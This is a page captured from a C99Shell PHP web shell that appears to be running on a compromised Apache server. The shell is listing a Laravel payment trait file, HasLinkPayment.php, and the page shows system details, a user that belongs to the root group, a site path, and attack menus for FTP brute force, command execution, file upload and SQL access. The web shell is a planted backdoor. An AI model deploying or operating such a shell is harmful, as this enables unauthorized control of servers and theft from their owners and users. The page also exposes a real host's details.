!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Traits/Payments/   drwxr-xr-x
Free 26.35 GB of 117.98 GB (22.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasLinkPayment.php (1.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Traits\Payments;
use 
Illuminate\Support\Facades\URL;
use 
Illuminate\Support\Facades\Validator;
use 
Akaunting\Module\Facade as Module;

trait 
HasLinkPayment
{
    public function 
paymentRules(){
        return [];
    }


    public function 
payOrder(){

        
//Since v3, we have option to show all  the payment networks
        
if($this->request->payment_method=="all"){

            
//Payment methods
            
$paymentMethodsCount=0;
            foreach (
Module::all() as $key => $module) {
                if(
$module->get('isPaymentModule')){
                    if(
$this->vendor->getConfig($module->get('alias')."_enable","false")=="true"){
                        
$vendorHasOwnPayment=$module->get('alias');
                        
$paymentMethodsCount++;
                    }
                }
            }

            if(
$paymentMethodsCount==1){
                
//Set to the only avaiable  method and move on
                
$this->request->payment_method=$vendorHasOwnPayment;
            }else{

                
//In this case, we have more than 1 available payment option, user will be redirected
                //to screen where she can choose the way he wants to pay
                
$this->order->payment_link=route('selectpay',['order'=>$this->order->id]);
                
$this->order->update();
                
$this->paymentRedirect$this->order->payment_link;
                return 
Validator::make([], []);
            }

           
        }

        
$className '\Modules\\'.ucfirst($this->request->payment_method).'\Http\Controllers\App';
        
$ref = new \ReflectionClass($className);
        
$theValidator $ref->newInstanceArgs(array($this->order,$this->vendor))->execute();

        if(
$theValidator->fails()){
            
$this->invalidateOrder();
        }else{
            
//It is ok, use the link
            
$this->paymentRedirect$this->order->payment_link;
        }
        return 
$theValidator;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--